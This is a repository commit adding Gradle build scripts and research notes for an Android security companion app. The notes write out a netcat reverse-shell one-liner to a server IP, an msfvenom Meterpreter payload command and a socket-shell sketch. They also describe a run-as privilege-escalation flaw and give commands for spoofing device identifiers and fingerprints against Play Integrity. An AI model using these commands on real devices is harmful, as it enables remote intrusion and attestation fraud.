# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||
# noncompliant, but you have some other compliant shell such as ksh or
|
||||
# bash, then to run this script, type that shell name before the whole
|
||||
# command line, like:
|
||||
#
|
||||
# ksh Gradle
|
||||
#
|
||||
# Busybox and similar reduced shells will NOT work, because this script
|
||||
# requires all of these POSIX shell features:
|
||||
# * functions;
|
||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||
# * compound commands having a testable exit status, especially «case»;
|
||||
# * various built-in commands including «command», «set», and «ulimit».
|
||||
#
|
||||
# Important for patching:
|
||||
#
|
||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||
#
|
||||
# The "traditional" practice of packing multiple parameters into a
|
||||
# space-separated string is a well documented source of bugs and security
|
||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||
# options in "$@", and eventually passing that to Java.
|
||||
#
|
||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||
# see the in-line comments for details.
|
||||
#
|
||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||
# Darwin, MinGW, and NonStop.
|
||||
#
|
||||
# (3) This script is generated from the Groovy template
|
||||
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||
# within the Gradle project.
|
||||
#
|
||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
|
||||
# Resolve links: $0 may be a link
|
||||
app_path=$0
|
||||
|
||||
# Need this for daisy-chained symlinks.
|
||||
while
|
||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||
[ -h "$app_path" ]
|
||||
do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in #(
|
||||
/*) app_path=$link ;; #(
|
||||
*) app_path=$APP_HOME$link ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# This is normally unused
|
||||
# shellcheck disable=SC2034
|
||||
APP_BASE_NAME=${0##*/}
|
||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD=maximum
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
} >&2
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
} >&2
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "$( uname )" in #(
|
||||
CYGWIN* ) cygwin=true ;; #(
|
||||
Darwin* ) darwin=true ;; #(
|
||||
MSYS* | MINGW* ) msys=true ;; #(
|
||||
NONSTOP* ) nonstop=true ;;
|
||||
esac
|
||||
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||
else
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD=java
|
||||
if ! command -v java >/dev/null 2>&1
|
||||
then
|
||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||
case $MAX_FD in #(
|
||||
max*)
|
||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
MAX_FD=$( ulimit -H -n ) ||
|
||||
warn "Could not query maximum file descriptor limit"
|
||||
esac
|
||||
case $MAX_FD in #(
|
||||
'' | soft) :;; #(
|
||||
*)
|
||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
ulimit -n "$MAX_FD" ||
|
||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||
esac
|
||||
fi
|
||||
|
||||
# Collect all arguments for the java command, stacking in reverse order:
|
||||
# * args from the command line
|
||||
# * the main class name
|
||||
# * -classpath
|
||||
# * -D...appname settings
|
||||
# * --module-path (only if needed)
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if "$cygwin" || "$msys" ; then
|
||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||
|
||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
for arg do
|
||||
if
|
||||
case $arg in #(
|
||||
-*) false ;; # don't mess with options #(
|
||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||
[ -e "$t" ] ;; #(
|
||||
*) false ;;
|
||||
esac
|
||||
then
|
||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||
fi
|
||||
# Roll the args list around exactly as many times as the number of
|
||||
# args, so each arg winds up back in the position where it started, but
|
||||
# possibly modified.
|
||||
#
|
||||
# NB: a `for` loop captures its iteration list before it begins, so
|
||||
# changing the positional parameters here affects neither the number of
|
||||
# iterations, nor the values presented in `arg`.
|
||||
shift # remove old arg
|
||||
set -- "$@" "$arg" # push replacement arg
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Collect all arguments for the java command:
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||
# and any embedded shellness will be escaped.
|
||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||
# treated as '${Hostname}' itself on the command line.
|
||||
|
||||
set -- \
|
||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||
"$@"
|
||||
|
||||
# Stop when "xargs" is not available.
|
||||
if ! command -v xargs >/dev/null 2>&1
|
||||
then
|
||||
die "xargs is not available"
|
||||
fi
|
||||
|
||||
# Use "xargs" to parse quoted args.
|
||||
#
|
||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||
#
|
||||
# In Bash we could simply go:
|
||||
#
|
||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||
# set -- "${ARGS[@]}" "$@"
|
||||
#
|
||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||
# character that might be a shell metacharacter, then use eval to reverse
|
||||
# that process (while maintaining the separation between arguments), and wrap
|
||||
# the whole thing up as a single "set" statement.
|
||||
#
|
||||
# This will of course break if any of these variables contains a newline or
|
||||
# an unmatched quote.
|
||||
#
|
||||
|
||||
eval "set -- $(
|
||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||
xargs -n1 |
|
||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||
tr '\n' ' '
|
||||
)" '"$@"'
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
93
autarch_companion/gradlew.bat
vendored
Normal file
93
autarch_companion/gradlew.bat
vendored
Normal file
@@ -0,0 +1,93 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
@rem SPDX-License-Identifier: Apache-2.0
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
@rem This is normally unused
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
293
autarch_companion/research.md
Normal file
293
autarch_companion/research.md
Normal file
@@ -0,0 +1,293 @@
|
||||
# Archon Research — Consolidated Findings
|
||||
## darkHal Security Group — Project AUTARCH
|
||||
**Last Updated:** 2026-02-20
|
||||
|
||||
---
|
||||
|
||||
## 1. On-Device LLM Engines
|
||||
|
||||
### SmolChat-Android (Recommended)
|
||||
- **Source:** https://github.com/shubham0204/SmolChat-Android
|
||||
- **License:** Apache 2.0
|
||||
- **Stack:** Kotlin + llama.cpp JNI bindings
|
||||
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
|
||||
- **Model format:** GGUF (huge ecosystem on HuggingFace)
|
||||
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
|
||||
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
|
||||
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
|
||||
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
|
||||
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
|
||||
|
||||
### mllm
|
||||
- **Source:** https://github.com/UbiquitousLearning/mllm
|
||||
- **License:** MIT
|
||||
- **Stack:** C++20 custom engine
|
||||
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
|
||||
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
|
||||
- **Drawback:** Much harder to integrate, custom format limits model selection
|
||||
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
|
||||
|
||||
---
|
||||
|
||||
## 2. AI Agent Frameworks
|
||||
|
||||
### Koog AI (Recommended for Archon)
|
||||
- **Source:** https://docs.koog.ai/
|
||||
- **License:** Apache 2.0 (JetBrains)
|
||||
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
|
||||
- **Key features:**
|
||||
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
|
||||
- First-class tool-calling with class-based tools (works on Android)
|
||||
- Agent memory, persistence, checkpoints, history compression
|
||||
- Structured output via kotlinx.serialization
|
||||
- GOAP planner (A* search for action planning — game AI technique)
|
||||
- MCP integration (discover/use external tools)
|
||||
- Multi-agent: agents-as-tools, agent-to-agent protocol
|
||||
- **Version:** 0.6.2
|
||||
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
|
||||
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
|
||||
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
|
||||
|
||||
### SmolChat + Koog Combo
|
||||
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
|
||||
- Koog provides the agent framework (tools, planning, memory, structured output)
|
||||
- Together: fully autonomous, fully offline security AI agent on the phone
|
||||
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
|
||||
|
||||
### GitHub Copilot SDK
|
||||
- **Source:** https://github.com/github/copilot-sdk
|
||||
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
|
||||
- **Stack:** Python/TypeScript/Go/.NET SDKs
|
||||
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
|
||||
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
|
||||
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
|
||||
|
||||
---
|
||||
|
||||
## 3. ADB Exploitation & Automation
|
||||
|
||||
### PhoneSploit-Pro
|
||||
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
|
||||
- **License:** GPL-3.0
|
||||
- **What:** Python ADB automation framework (40+ exploits/actions)
|
||||
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
|
||||
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
|
||||
- **Status:** Reference material. We implement our own versions with better safety controls.
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Reverse Shell Techniques
|
||||
|
||||
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
|
||||
```java
|
||||
// Connect back to server, pipe shell I/O over socket
|
||||
Socket socket = new Socket(serverIp, serverPort);
|
||||
ProcessBuilder pb = new ProcessBuilder("sh");
|
||||
Process process = pb.start();
|
||||
// Forward process stdin/stdout over socket
|
||||
```
|
||||
- **Privilege:** Runs at whatever UID the process has
|
||||
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
|
||||
- **Advantage:** No external tools needed, pure Java, clean control flow
|
||||
|
||||
### Technique 2: Netcat + FIFO
|
||||
```bash
|
||||
mkfifo /data/local/tmp/f
|
||||
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
|
||||
```
|
||||
- **Requires:** `nc` (netcat) available on device
|
||||
- **Advantage:** Simple, works from any shell
|
||||
- **Disadvantage:** No auth, no encryption, no special commands
|
||||
|
||||
### Technique 3: msfvenom Payloads
|
||||
```bash
|
||||
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
|
||||
```
|
||||
- **Generates:** Standalone APK with Meterpreter payload
|
||||
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
|
||||
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
|
||||
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
|
||||
|
||||
---
|
||||
|
||||
## 5. Android Privilege Escalation
|
||||
|
||||
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
|
||||
- **Disclosed by:** Meta security researchers
|
||||
- **Severity:** Critical — full root access on unpatched devices
|
||||
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
|
||||
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
|
||||
- **Steps:**
|
||||
1. Shell can write to `/data/local/tmp/`
|
||||
2. Exploit the TOCTOU race in how `run-as` reads package info
|
||||
3. `run-as` runs as UID 2000 but switches context to target UID
|
||||
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
|
||||
|
||||
### Shell-Level Capabilities (UID 2000)
|
||||
Full command access without root:
|
||||
- `pm` — install, uninstall, disable, grant/revoke permissions
|
||||
- `am` — start activities, broadcast, force-stop processes
|
||||
- `settings` — read/write system, secure, global settings
|
||||
- `dumpsys` — dump any system service state
|
||||
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
|
||||
- `content` — query/modify content providers (contacts, SMS, call log)
|
||||
- `service call` — raw Binder IPC (clipboard, etc.)
|
||||
- `input` — inject touch/key events (UI automation)
|
||||
- `screencap`/`screenrecord` — capture display
|
||||
- `svc` — control wifi, data, power, USB, NFC
|
||||
- `dpm` — device policy manager (remove device admins)
|
||||
- `logcat` — system logs
|
||||
- `run-as` — switch to debuggable app context
|
||||
|
||||
### What Shell CANNOT Do (Root Required)
|
||||
- Write to /system, /vendor, /product
|
||||
- `setenforce 0` (set SELinux permissive)
|
||||
- Access other apps' /data/data/ directly
|
||||
- Load/unload kernel modules
|
||||
- iptables/nftables (CAP_NET_ADMIN)
|
||||
- Mount/unmount filesystems
|
||||
|
||||
---
|
||||
|
||||
## 6. Anti-Forensics (Anti-Cellebrite)
|
||||
|
||||
Cellebrite UFED and similar forensic tools attack vectors:
|
||||
- ADB exploitation (need ADB enabled or USB exploit)
|
||||
- Bootloader-level extraction
|
||||
- Known CVE exploitation chains
|
||||
- Content provider dumping
|
||||
|
||||
### Shell-Level Defenses
|
||||
```bash
|
||||
# USB Lockdown
|
||||
svc usb setFunctions charging
|
||||
settings put global adb_enabled 0
|
||||
|
||||
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
|
||||
# Monitor USB events: /proc/bus/usb/devices
|
||||
|
||||
# Emergency data protection on forensic detection:
|
||||
# - Revoke all app permissions
|
||||
# - Clear clipboard (service call clipboard)
|
||||
# - Force-stop sensitive apps
|
||||
# - Disable USB debugging
|
||||
# - Change lock to maximum security
|
||||
```
|
||||
|
||||
### Architecture for Archon
|
||||
- Background monitoring thread: USB events + logcat
|
||||
- Forensic tool USB vendor ID database
|
||||
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
|
||||
- "Duress PIN" concept: specific PIN triggers data protection
|
||||
|
||||
---
|
||||
|
||||
## 7. Anti-Spyware (Anti-Pegasus)
|
||||
|
||||
NSO Group's Pegasus and similar state-level spyware use:
|
||||
- Zero-click exploits via iMessage, WhatsApp, SMS
|
||||
- Kernel exploits for persistence
|
||||
- Memory-only implants (no files on disk)
|
||||
|
||||
### Shell-Level Monitoring
|
||||
```bash
|
||||
# Suspicious process detection
|
||||
dumpsys activity processes | grep -i "pegasus\|chrysaor"
|
||||
|
||||
# Hidden processes (deleted exe links = classic implant pattern)
|
||||
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
|
||||
|
||||
# Exploit indicators in logs
|
||||
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
|
||||
|
||||
# Unauthorized root checks
|
||||
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
|
||||
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
|
||||
|
||||
# Certificate injection (MITM)
|
||||
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
|
||||
|
||||
# Known spyware package patterns
|
||||
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
|
||||
```
|
||||
|
||||
### Archon Shield Integration
|
||||
- Periodic background scans (configurable interval)
|
||||
- Known C2 IP/domain database (updated from AUTARCH server)
|
||||
- Process anomaly detection (unexpected UIDs, deleted exe links)
|
||||
- Network connection monitoring against threat intel
|
||||
|
||||
---
|
||||
|
||||
## 8. Device Fingerprint Manipulation
|
||||
|
||||
### Play Integrity Levels
|
||||
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
|
||||
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
|
||||
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
|
||||
|
||||
### Shell-Level Spoofing
|
||||
```bash
|
||||
# Android ID rotation
|
||||
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
|
||||
|
||||
# Build fingerprint spoofing
|
||||
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
|
||||
setprop ro.product.model "Pixel 6 Pro"
|
||||
|
||||
# "Old device" trick (bypass hardware attestation requirement)
|
||||
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
|
||||
```
|
||||
|
||||
### Donor Key Approach
|
||||
- Valid attestation certificate chains from donor devices could theoretically be replayed
|
||||
- Keys are burned into TEE/SE at factory
|
||||
- Google revokes leaked keys quickly
|
||||
- Legally/ethically complex — research only
|
||||
|
||||
---
|
||||
|
||||
## 9. Samsung S20/S21 Specifics (TODO)
|
||||
|
||||
### JTAG/Debug Access
|
||||
- JTAG pinpoints and schematics for S20/S21 hardware debugging
|
||||
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
|
||||
- Secureboot partition dumping techniques
|
||||
|
||||
### Hardening Guide
|
||||
- Samsung-specific security settings and Knox configuration
|
||||
- Tool section for Samsung devices
|
||||
|
||||
**Status:** Research needed — not yet documented.
|
||||
|
||||
---
|
||||
|
||||
## 10. Future: LLM Suite Architecture
|
||||
|
||||
### Recommended Stack
|
||||
```
|
||||
┌──────────────────────────────────────┐
|
||||
│ Koog AI Agent Layer │
|
||||
│ (tools, GOAP planner, memory) │
|
||||
├──────────────────────────────────────┤
|
||||
│ SmolChat smollm Module │
|
||||
│ (GGUF inference, llama.cpp JNI) │
|
||||
├──────────────────────────────────────┤
|
||||
│ Security Tools (Kotlin) │
|
||||
│ (ScanPackagesTool, │
|
||||
│ RestrictTrackerTool, etc.) │
|
||||
├──────────────────────────────────────┤
|
||||
│ PrivilegeManager │
|
||||
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
|
||||
└──────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Integration Steps
|
||||
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
|
||||
2. Add `koog-agents` Gradle dependency
|
||||
3. Define security tools as Koog class-based tools
|
||||
4. Create "Security Guardian" agent with GOAP planner
|
||||
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
|
||||
6. Agent autonomously monitors and responds to threats
|
||||
|
||||
**Status:** Future phase — implement after reverse shell is complete.
|
||||
18
autarch_companion/settings.gradle.kts
Normal file
18
autarch_companion/settings.gradle.kts
Normal file
@@ -0,0 +1,18 @@
|
||||
pluginManagement {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
gradlePluginPortal()
|
||||
}
|
||||
}
|
||||
dependencyResolutionManagement {
|
||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
maven { url = uri("https://jitpack.io") }
|
||||
}
|
||||
}
|
||||
|
||||
rootProject.name = "Archon"
|
||||
include(":app")
|
||||
Reference in New Issue
Block a user